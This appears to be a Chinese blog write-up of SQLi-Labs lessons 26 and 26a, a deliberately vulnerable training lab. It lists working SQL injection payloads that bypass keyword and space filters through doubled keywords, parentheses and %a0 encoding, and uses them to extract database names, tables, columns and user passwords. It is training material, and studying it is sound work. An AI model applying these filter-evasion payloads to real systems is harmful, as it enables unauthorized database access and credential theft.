SqliLabs Less26-26a

第二十六关

GET类型基于你所有的空格和言论都是属于我的错误

1.判断注入点

 根据提示,sql语句应该存在过滤

 观察源代码发现存在or,and,/*,--,#,空格,斜杠过滤

绕过方法:

Or,and 采取双写绕过

注释过滤:采取and ‘1闭合语句绕过

空格过滤:采取括号绕过1and1写成1(and)1

构造payload:

http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,0x7e))anandd '1

2.拖库(注意括号对称)

http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,database())))anandd '1

 3.拖表(千万注意括号,from,where不用加)

http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')))))anandd '1

  4.拖列

http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))))))anandd '1

 5.拖数据

http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(id,username,passwoorrd))from(users)))))anandd '1

 

GET类型布尔盲注-你的空格,言论都属于我--单引号-括号

查看源码发现过滤

or and  /*  --  # 空格 /

or and  采取双写

/*  --  #  采取and

空格     采取%a0

构造语句: http://127.0.0.1:500/Less-26a/?id=1')anandd('1

 

本机的sqllabless26a有问题,用的旧靶机上的(下好sqllab很重要)

http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a01,2,3%a0anandd%a0('2

 

拖库 

http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a05,database(),3%a0anandd%a0('2

拖操作系统

http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a01,@@version_compile_os,3%a0anandd%a0('2
 

 

剩下的操作大同小异了,把命令改一改就行了

拖表:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ 

拖列:union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’

拖数据:union select 1,group_concat(id,username,password) from users  

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值